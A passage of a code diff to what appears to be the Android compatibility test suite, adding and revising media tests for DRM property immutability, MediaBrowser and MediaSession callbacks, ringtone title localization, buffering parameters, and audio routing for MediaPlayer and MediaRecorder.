+ immutableProperties.put(VENDOR_PROPERTY_KEY, "my Google");
+ immutableProperties.put(VERSION_PROPERTY_KEY, "undefined");
+
+ for (String key : immutableProperties.keySet()) {
+ setStringProperty(drm, key, immutableProperties.get(key));
+ }
+
+ // Verify the immutable properties have not been set
+ for (String key : immutableProperties.keySet()) {
+ value = getStringProperty(drm, key);
+ if (!defaultImmutableProperties.get(key).equals(getStringProperty(drm, key))) {
+ throw new Error("Immutable property has changed, key=" + key);
+ }
+ }
+
+ // Test setPropertyByteArray
+ final byte[] bytes = new byte[] {
+ 0xf, 0xe, 0xd, 0xc, 0xb, 0xa, 0x9, 0x8,
+ 0x7, 0x6, 0x5, 0x4, 0x3, 0x2, 0x1, 0x0};
+
+ setByteArrayProperty(drm, "someBytes", bytes);
+
+ // Verify new property value
+ if (!Arrays.equals(bytes, getByteArrayProperty(drm, "someBytes"))) {
+ throw new Error("Failed to set byte array for key=" + "someBytes");
+ }
+
+ // Test setPropertyByteArray for immutable property
+ final byte[] deviceId = getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY);
+
+ setByteArrayProperty(drm, DEVICEID_PROPERTY_KEY, bytes);
+
+ // Verify deviceId has not changed
+ if (!Arrays.equals(deviceId, getByteArrayProperty(drm, DEVICEID_PROPERTY_KEY))) {
+ throw new Error("Failed to set byte array for key=" + DEVICEID_PROPERTY_KEY);
+ }
+ } finally {
+ stopDrm(drm);
+ }
+ }
+
}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index fd8c3b1..c401c75 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -300,6 +300,24 @@
mSubscriptionCallback.mLastOptions.getInt(MediaBrowser.EXTRA_PAGE_SIZE));
}
+ public void testSubscriptionCallbackNotCalledAfterDisconnect() {
+ createMediaBrowser(TEST_BROWSER_SERVICE);
+ connectMediaBrowserService();
+ mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
+ mMediaBrowser.disconnect();
+ resetCallbacks();
+ StubMediaBrowserService.sInstance.notifyChildrenChanged(
+ StubMediaBrowserService.MEDIA_ID_ROOT);
+ try {
+ Thread.sleep(SLEEP_MS);
+ } catch (InterruptedException e) {
+ fail("Unexpected InterruptedException occurred.");
+ }
+ assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
+ assertEquals(0, mSubscriptionCallback.mChildrenLoadedWithOptionCount);
+ assertNull(mSubscriptionCallback.mLastParentId);
+ }
+
public void testUnsubscribeForMultipleSubscriptions() {
createMediaBrowser(TEST_BROWSER_SERVICE);
connectMediaBrowserService();
@@ -436,6 +454,21 @@
assertEquals(StubMediaBrowserService.MEDIA_ID_INVALID, mItemCallback.mLastErrorId);
}
+ public void testItemCallbackNotCalledAfterDisconnect() {
+ createMediaBrowser(TEST_BROWSER_SERVICE);
+ connectMediaBrowserService();
+ mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
+ mMediaBrowser.disconnect();
+ resetCallbacks();
+ try {
+ Thread.sleep(SLEEP_MS);
+ } catch (InterruptedException e) {
+ fail("Unexpected InterruptedException occurred.");
+ }
+ assertNull(mItemCallback.mLastMediaItem);
+ assertNull(mItemCallback.mLastErrorId);
+ }
+
private void createMediaBrowser(final ComponentName component) {
getInstrumentation().runOnMainSync(new Runnable() {
@Override
diff --git a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
index 363c350..7dd08c4 100644
--- a/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaPlayerTest.java
@@ -1846,6 +1846,14 @@
}
public void testChangeTimedTextTrack() throws Throwable {
+ testChangeTimedTextTrackWithSpeed(1.0f);
+ }
+
+ public void testChangeTimedTextTrackFast() throws Throwable {
+ testChangeTimedTextTrackWithSpeed(2.0f);
+ }
+
+ private void testChangeTimedTextTrackWithSpeed(float speed) throws Throwable {
testTimedText(R.raw.testvideo_with_2_timedtext_tracks, 2,
new int[] {R.raw.test_subtitle1_srt, R.raw.test_subtitle2_srt},
new VerifyAndSignalTimedText(),
@@ -1856,6 +1864,10 @@
mOnTimedTextCalled.reset();
mMediaPlayer.start();
+ if (speed != 1.0f) {
+ mMediaPlayer.setPlaybackParams(new PlaybackParams().setSpeed(speed));
+ }
+
assertTrue(mMediaPlayer.isPlaying());
// Waits until at least two subtitles are fired. Timeout is 2.5 sec.
diff --git a/tests/tests/media/src/android/media/cts/MediaScannerTest.java b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
index 137b7cf..401e2d5 100644
--- a/tests/tests/media/src/android/media/cts/MediaScannerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaScannerTest.java
@@ -110,6 +110,76 @@
"_data like ?", new String[] { mFileDir + "%"});
}
+ public void testLocalizeRingtoneTitles() throws Exception {
+ mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
+ mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
+ mMediaScannerConnectionClient);
+
+ assertFalse(mMediaScannerConnection.isConnected());
+
+ // start connection and wait until connected
+ mMediaScannerConnection.connect();
+ checkConnectionState(true);
+
+ // Write unlocalizable audio file and scan to insert into database
+ final String unlocalizablePath = mFileDir + "/unlocalizable.mp3";
+ writeFile(R.raw.testmp3, unlocalizablePath);
+ mMediaScannerConnection.scanFile(unlocalizablePath, null);
+ checkMediaScannerConnection();
+ final Uri media1Uri = mMediaScannerConnectionClient.mediaUri;
+
+ // Ensure unlocalizable titles come back correctly
+ final ContentResolver res = mContext.getContentResolver();
+ final String unlocalizedTitle = "Chimey Phone";
+ Cursor c = res.query(media1Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(unlocalizedTitle, c.getString(0));
+
+ mMediaScannerConnectionClient.reset();
+
+ // Write localizable audio file and scan to insert into database
+ final String localizablePath = mFileDir + "/localizable.mp3";
+ writeFile(R.raw.testmp3_4, localizablePath);
+ mMediaScannerConnection.scanFile(localizablePath, null);
+ checkMediaScannerConnection();
+ final Uri media2Uri = mMediaScannerConnectionClient.mediaUri;
+
+ // Ensure localized title comes back localized
+ final String localizedTitle = mContext.getString(R.string.test_localizable_title);
+ c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(localizedTitle, c.getString(0));
+
+ // Update localizable audio file to have unlocalizable title
+ final ContentValues values = new ContentValues();
+ final String newTitle = "New Title";
+ values.put("title", newTitle);
+ res.update(media2Uri, values, null, null);
+
+ // Ensure title comes back correctly
+ c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(newTitle, c.getString(0));
+
+ // Update audio file to have localizable title once again
+ final String newLocalizableTitle =
+ "android.resource://android.media.cts/string/test_localizable_title";
+ values.put("title", newLocalizableTitle);
+ res.update(media2Uri, values, null, null);
+
+ // Ensure title comes back localized
+ c = res.query(media2Uri, new String[] { "title" }, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToFirst();
+ assertEquals(localizedTitle, c.getString(0));
+
+ mMediaScannerConnection.disconnect();
+ c.close();
+ }
+
public void testMediaScanner() throws InterruptedException, IOException {
mMediaScannerConnectionClient = new MockMediaScannerConnectionClient();
mMediaScannerConnection = new MockMediaScannerConnection(getContext(),
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionTest.java b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
index cc6f186..58be212 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionTest.java
@@ -15,6 +15,8 @@
*/
package android.media.cts;
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
@@ -33,6 +35,7 @@
import android.os.Handler;
import android.os.Looper;
import android.os.Parcel;
+import android.support.test.filters.LargeTest;
import android.test.AndroidTestCase;
import android.view.KeyEvent;
@@ -417,6 +420,27 @@
}
}
+ /**
+ * Tests {@link MediaSession#setCallback} with {@code null}. No callbacks will be called
+ * once {@code setCallback(null)} is done.
+ */
+ public void testSetCallbackWithNull() throws Exception {
+ MediaSessionCallback sessionCallback = new MediaSessionCallback();
+ mSession.setCallback(sessionCallback, mHandler);
+ mSession.setFlags(MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS);
+ mSession.setActive(true);
+
+ MediaController controller = mSession.getController();
+ setPlaybackState(PlaybackState.STATE_PLAYING);
+
+ sessionCallback.reset(1);
+ mSession.setCallback(null, mHandler);
+
+ controller.getTransportControls().pause();
+ assertFalse(sessionCallback.await(WAIT_MS));
+ assertFalse("Callback shouldn't be called.", sessionCallback.mOnPauseCalled);
+ }
+
private void setPlaybackState(int state) {
final long allActions = PlaybackState.ACTION_PLAY | PlaybackState.ACTION_PAUSE
| PlaybackState.ACTION_PLAY_PAUSE | PlaybackState.ACTION_STOP
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 45b2b8b..d29cfed 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -157,6 +157,7 @@
try {
testGetPropertyStringNative(uuidByteArray(CLEARKEY_SCHEME_UUID),
"unknown-property", value);
+ fail("Should have thrown an exception");
} catch (RuntimeException e) {
Log.e(TAG, "testUnknownPropertyString error = '" + e.getMessage() + "'");
assertThat(e.getMessage(), containsString("get property string returns"));
diff --git a/tests/tests/media/src/android/media/cts/ParamsTest.java b/tests/tests/media/src/android/media/cts/ParamsTest.java
index 6cf9be6..fab616a 100644
--- a/tests/tests/media/src/android/media/cts/ParamsTest.java
+++ b/tests/tests/media/src/android/media/cts/ParamsTest.java
@@ -373,59 +373,18 @@
}
public void testBufferingParamsBuilderAndGet() {
- final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
final int initialMarkMs = 2;
- final int initialMarkKB = 20;
- final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
- final int rebufferingMarkLowMs = 1;
- final int rebufferingMarkHighMs = 3;
- final int rebufferingMarkLowKB = 10;
- final int rebufferingMarkHighKB = 30;
+ final int resumePlaybackMarkMs = 3;
BufferingParams p1 = new BufferingParams.Builder()
- .setInitialBufferingMode(initialMode)
- .setInitialBufferingWatermarkMs(initialMarkMs)
- .setInitialBufferingWatermarkKB(initialMarkKB)
- .setRebufferingMode(rebufferingMode)
- .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
- .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
- .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
- .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+ .setInitialMarkMs(initialMarkMs)
+ .setResumePlaybackMarkMs(resumePlaybackMarkMs)
.build();
- assertEquals("initial buffering mode should match",
- p1.getInitialBufferingMode(), initialMode);
- assertEquals("rebuffering mode should match",
- p1.getRebufferingMode(), rebufferingMode);
assertEquals("intial markMs should match",
- p1.getInitialBufferingWatermarkMs(), initialMarkMs);
- assertEquals("intial markKB should match",
- p1.getInitialBufferingWatermarkKB(), initialMarkKB);
- assertEquals("rebuffering low markMs should match",
- p1.getRebufferingWatermarkLowMs(), rebufferingMarkLowMs);
- assertEquals("rebuffering low markKB should match",
- p1.getRebufferingWatermarkLowKB(), rebufferingMarkLowKB);
- assertEquals("rebuffering high markMs should match",
- p1.getRebufferingWatermarkHighMs(), rebufferingMarkHighMs);
- assertEquals("rebuffering high markKB should match",
- p1.getRebufferingWatermarkHighKB(), rebufferingMarkHighKB);
-
- final int rebufferingMarkLowMsPair = 4;
- final int rebufferingMarkHighMsPair = 5;
- final int rebufferingMarkLowKBPair = 40;
- final int rebufferingMarkHighKBPair = 50;
- BufferingParams p2 = new BufferingParams.Builder(p1)
- .setRebufferingWatermarksMs(rebufferingMarkLowMsPair, rebufferingMarkHighMsPair)
- .setRebufferingWatermarksKB(rebufferingMarkLowKBPair, rebufferingMarkHighKBPair)
- .build();
- assertEquals("paired low markMs should match",
- p2.getRebufferingWatermarkLowMs(), rebufferingMarkLowMsPair);
- assertEquals("paired low markKB should match",
- p2.getRebufferingWatermarkLowKB(), rebufferingMarkLowKBPair);
- assertEquals("paired high markMs should match",
- p2.getRebufferingWatermarkHighMs(), rebufferingMarkHighMsPair);
- assertEquals("paired high markKB should match",
- p2.getRebufferingWatermarkHighKB(), rebufferingMarkHighKBPair);
+ p1.getInitialMarkMs(), initialMarkMs);
+ assertEquals("resume playback markMs should match",
+ p1.getResumePlaybackMarkMs(), resumePlaybackMarkMs);
}
public void testBufferingParamsDescribeContents() {
@@ -434,24 +393,12 @@
}
public void testBufferingParamsWriteToParcel() {
- final int initialMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
final int initialMarkMs = 2;
- final int initialMarkKB = 20;
- final int rebufferingMode = BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE;
- final int rebufferingMarkLowMs = 1;
- final int rebufferingMarkHighMs = 3;
- final int rebufferingMarkLowKB = 10;
- final int rebufferingMarkHighKB = 30;
+ final int resumePlaybackMarkMs = 3;
BufferingParams p = new BufferingParams.Builder()
- .setInitialBufferingMode(initialMode)
- .setInitialBufferingWatermarkMs(initialMarkMs)
- .setInitialBufferingWatermarkKB(initialMarkKB)
- .setRebufferingMode(rebufferingMode)
- .setRebufferingWatermarkLowMs(rebufferingMarkLowMs)
- .setRebufferingWatermarkHighMs(rebufferingMarkHighMs)
- .setRebufferingWatermarkLowKB(rebufferingMarkLowKB)
- .setRebufferingWatermarkHighKB(rebufferingMarkHighKB)
+ .setInitialMarkMs(initialMarkMs)
+ .setResumePlaybackMarkMs(resumePlaybackMarkMs)
.build();
Parcel parcel = Parcel.obtain();
@@ -459,22 +406,10 @@
parcel.setDataPosition(0);
BufferingParams q = BufferingParams.CREATOR.createFromParcel(parcel);
- assertEquals("initial buffering mode should match",
- p.getInitialBufferingMode(), q.getInitialBufferingMode());
- assertEquals("rebuffering mode should match",
- p.getRebufferingMode(), q.getRebufferingMode());
- assertEquals("initial buffering markMs should match",
- p.getInitialBufferingWatermarkMs(), q.getInitialBufferingWatermarkMs());
- assertEquals("initial buffering markKB should match",
- p.getInitialBufferingWatermarkKB(), q.getInitialBufferingWatermarkKB());
- assertEquals("rebuffering low markMs should match",
- p.getRebufferingWatermarkLowMs(), q.getRebufferingWatermarkLowMs());
- assertEquals("rebuffering low markKB should match",
- p.getRebufferingWatermarkLowKB(), q.getRebufferingWatermarkLowKB());
- assertEquals("rebuffering high markMs should match",
- p.getRebufferingWatermarkHighMs(), q.getRebufferingWatermarkHighMs());
- assertEquals("rebuffering high markKB should match",
- p.getRebufferingWatermarkHighKB(), q.getRebufferingWatermarkHighKB());
+ assertEquals("initial markMs should match",
+ p.getInitialMarkMs(), q.getInitialMarkMs());
+ assertEquals("resume playback markMs should match",
+ p.getResumePlaybackMarkMs(), q.getResumePlaybackMarkMs());
parcel.recycle();
}
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 7614568..ddb534a 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -19,25 +19,39 @@
import android.content.Context;
import android.content.pm.PackageManager;
+import android.media.AudioAttributes;
import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioManager;
import android.media.AudioRecord;
import android.media.AudioRouting;
import android.media.AudioTrack;
+import android.media.MediaPlayer;
+import android.media.MediaFormat;
import android.media.MediaRecorder;
+import android.os.Environment;
import android.os.Handler;
import android.os.Looper;
+import android.os.SystemClock;
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
import java.lang.Runnable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
/**
- * AudioTrack / AudioRecord preferred device and routing listener tests.
+ * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
+ * and routing listener tests.
* The routing tests are mostly here to exercise the routing code, as an actual test would require
* adding / removing an audio device for the listeners to be called.
* The routing listener code is designed to run for two versions of the routing code:
@@ -46,8 +60,18 @@
*/
public class RoutingTest extends AndroidTestCase {
private static final String TAG = "RoutingTest";
+ private static final int MAX_WAITING_ROUTING_CHANGED_COUNT = 3;
+ private static final long WAIT_ROUTING_CHANGE_TIME_MS = 1000;
+ private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+ private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+ private static final long MAX_FILE_SIZE_BYTE = 5000;
+ private static final int RECORD_TIME_MS = 3000;
+ private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
+ Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
private AudioManager mAudioManager;
+ private CountDownLatch mRoutingChangedLatch;
+ private File mOutFile;
@Override
protected void setUp() throws Exception {
@@ -58,6 +82,14 @@
assertNotNull(mAudioManager);
}
+ @Override
+ protected void tearDown() throws Exception {
+ if (mOutFile != null && mOutFile.exists()) {
+ mOutFile.delete();
+ }
+ super.tearDown();
+ }
+
private AudioTrack allocAudioTrack() {
int bufferSize =
AudioTrack.getMinBufferSize(
@@ -455,4 +487,260 @@
audioRecord.stop();
audioRecord.release();
}
+
+ private class AudioRoutingListener implements AudioRouting.OnRoutingChangedListener
+ {
+ public void onRoutingChanged(AudioRouting audioRouting) {
+ if (mRoutingChangedLatch != null) {
+ mRoutingChangedLatch.countDown();
+ }
+ }
+ }
+
+ private MediaPlayer allocMediaPlayer() {
+ final int resid = R.raw.testmp3_2;
+ MediaPlayer mediaPlayer = MediaPlayer.create(mContext, resid);
+ mediaPlayer.setAudioAttributes(
+ new AudioAttributes.Builder().setUsage(AudioAttributes.USAGE_MEDIA).build());
+ mediaPlayer.start();
+ return mediaPlayer;
+ }
+
+ public void test_mediaPlayer_preferredDevice() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ assertTrue(mediaPlayer.isPlaying());
+
+ // None selected (new MediaPlayer), so check for default
+ assertNull(mediaPlayer.getPreferredDevice());
+
+ // resets to default
+ assertTrue(mediaPlayer.setPreferredDevice(null));
+
+ // test each device
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ for (int index = 0; index < deviceList.length; index++) {
+ assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+ assertTrue(mediaPlayer.getPreferredDevice() == deviceList[index]);
+ }
+
+ // Check defaults again
+ assertTrue(mediaPlayer.setPreferredDevice(null));
+ assertNull(mediaPlayer.getPreferredDevice());
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+
+ public void test_mediaPlayer_getRoutedDevice() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ assertTrue(mediaPlayer.isPlaying());
+
+ // Sleep for 1s to ensure the output device open
+ SystemClock.sleep(1000);
+
+ // No explicit route
+ AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+ assertNotNull(routedDevice);
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+
+ public void test_MediaPlayer_RoutingListener() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+
+ // null listener
+ mediaPlayer.addOnRoutingChangedListener(null, null);
+
+ AudioRoutingListener listener = new AudioRoutingListener();
+ AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+ // add a listener
+ mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+ // remove listeners
+ // remove a listener we didn't add
+ mediaPlayer.removeOnRoutingChangedListener(someOtherListener);
+ // remove a valid listener
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+
+ Looper myLooper = prepareIfNeededLooper();
+
+ mediaPlayer.addOnRoutingChangedListener(listener, new Handler());
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ if (myLooper != null) {
+ myLooper.quit();
+ }
+ }
+
+ public void test_MediaPlayer_RoutingChangedCallback() {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT)) {
+ // Can't do it so skip this test
+ return;
+ }
+
+ MediaPlayer mediaPlayer = allocMediaPlayer();
+ AudioRoutingListener listener = new AudioRoutingListener();
+ mediaPlayer.addOnRoutingChangedListener(listener, null);
+
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_OUTPUTS);
+ if (deviceList.length < 2) {
+ // The available output device is less than 2, we can't switch output device.
+ return;
+ }
+ for (int index = 0; index < deviceList.length; index++) {
+ assertTrue(mediaPlayer.setPreferredDevice(deviceList[index]));
+ boolean routingChanged = false;
+ for (int i = 0; i < MAX_WAITING_ROUTING_CHANGED_COUNT; i++) {
+ // Create a new CountDownLatch in case it is triggered by previous routing change.
+ mRoutingChangedLatch = new CountDownLatch(1);
+ try {
+ mRoutingChangedLatch.await(WAIT_ROUTING_CHANGE_TIME_MS, TimeUnit.MILLISECONDS);
+ } catch (InterruptedException e) {
+ }
+ AudioDeviceInfo routedDevice = mediaPlayer.getRoutedDevice();
+ if (routedDevice == null) {
+ continue;
+ }
+ if (routedDevice.getId() == deviceList[index].getId()) {
+ routingChanged = true;
+ break;
+ }
+ }
+ assertTrue("Switching to device" + deviceList[index].getType() + " failed",
+ routingChanged);
+ }
+
+ mediaPlayer.removeOnRoutingChangedListener(listener);
+ mediaPlayer.stop();
+ mediaPlayer.release();
+ }
+
+ private MediaRecorder allocMediaRecorder() throws Exception {
+ final String outputPath = new File(Environment.getExternalStorageDirectory(),
+ "record.out").getAbsolutePath();
+ mOutFile = new File(outputPath);
+ MediaRecorder mediaRecorder = new MediaRecorder();
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ assertEquals(0, mediaRecorder.getMaxAmplitude());
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mediaRecorder.setOutputFile(outputPath);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
+ mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+ mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+ mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
+ mediaRecorder.prepare();
+ mediaRecorder.start();
+ // Sleep a while to ensure the underlying AudioRecord is initialized.
+ Thread.sleep(1000);
+ return mediaRecorder;
+ }
+
+ public void test_mediaRecorder_preferredDevice() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ // None selected (new MediaPlayer), so check for default
+ assertNull(mediaRecorder.getPreferredDevice());
+
+ // resets to default
+ assertTrue(mediaRecorder.setPreferredDevice(null));
+
+ // test each device
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+ for (int index = 0; index < deviceList.length; index++) {
+ if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
+ // Only try to set devices whose type is contained in predefined set as preferred
+ // device in case of permission denied when switching input device.
+ continue;
+ }
+ assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
+ assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
+ }
+
+ // Check defaults again
+ assertTrue(mediaRecorder.setPreferredDevice(null));
+ assertNull(mediaRecorder.getPreferredDevice());
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ }
+
+ public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
+ assertNotNull(routedDevice); // we probably can't say anything more than this
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ }
+
+ public void test_mediaRecorder_RoutingListener() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ // null listener
+ mediaRecorder.addOnRoutingChangedListener(null, null);
+
+ AudioRoutingListener listener = new AudioRoutingListener();
+ AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+ // add a listener
+ mediaRecorder.addOnRoutingChangedListener(listener, null);
+
+ // remove listeners we didn't add
+ mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
+ // remove a valid listener
+ mediaRecorder.removeOnRoutingChangedListener(listener);
+
+ Looper myLooper = prepareIfNeededLooper();
+ mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
+ mediaRecorder.removeOnRoutingChangedListener(listener);
+
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ if (myLooper != null) {
+ myLooper.quit();
+ }
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ab54e75..3a0d512 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -391,10 +391,22 @@
return; // skip
}
- // getDefaultBufferingParams should be called after setDataSource.
+ // getBufferingParams should be called after setDataSource.
try {
- BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
- fail("MediaPlayer failed to check state for getDefaultBufferingParams");
+ BufferingParams params = mMediaPlayer.getBufferingParams();
+ fail("MediaPlayer failed to check state for getBufferingParams");
+ } catch (IllegalStateException e) {
+ // expected
+ }
+
+ // setBufferingParams should be called after setDataSource.
+ try {
+ BufferingParams params = new BufferingParams.Builder()
+ .setInitialMarkMs(2)
+ .setResumePlaybackMarkMs(3)
+ .build();
+ mMediaPlayer.setBufferingParams(params);
+ fail("MediaPlayer failed to check state for setBufferingParams");
} catch (IllegalStateException e) {
// expected
}
@@ -421,33 +433,17 @@
assertFalse(mOnBufferingUpdateCalled.isSignalled());
- BufferingParams params = mMediaPlayer.getDefaultBufferingParams();
+ BufferingParams params = mMediaPlayer.getBufferingParams();
- int newMark = -1;
- BufferingParams newParams = null;
- int initialBufferingMode = params.getInitialBufferingMode();
- if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
- || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
- newMark = params.getInitialBufferingWatermarkKB() + 1;
- newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkKB(
- newMark).build();
- } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
- newMark = params.getInitialBufferingWatermarkMs() + 1;
- newParams = new BufferingParams.Builder(params).setInitialBufferingWatermarkMs(
- newMark).build();
- } else {
- newParams = params;
- }
+ int newMark = params.getInitialMarkMs() + 2;
+ BufferingParams newParams =
+ new BufferingParams.Builder(params).setInitialMarkMs(newMark).build();
+
mMediaPlayer.setBufferingParams(newParams);
int checkMark = -1;
BufferingParams checkParams = mMediaPlayer.getBufferingParams();
- if (initialBufferingMode == BufferingParams.BUFFERING_MODE_SIZE_ONLY
- || initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_THEN_SIZE) {
- checkMark = checkParams.getInitialBufferingWatermarkKB();
- } else if (initialBufferingMode == BufferingParams.BUFFERING_MODE_TIME_ONLY) {
- checkMark = checkParams.getInitialBufferingWatermarkMs();
- }
+ checkMark = checkParams.getInitialMarkMs();
assertEquals("marks do not match", newMark, checkMark);
// TODO: add more dynamic checking, e.g., buffering shall not exceed pre-set mark.
diff --git a/tests/tests/nativemedia/aaudio/Android.mk b/tests/tests/nativemedia/aaudio/Android.mk
index 2f64131..2017eba 100644
--- a/tests/tests/nativemedia/aaudio/Android.mk
+++ b/tests/tests/nativemedia/aaudio/Android.mk
@@ -1,4 +1,4 @@
-# Copyright 2017 The Android Open Source Project
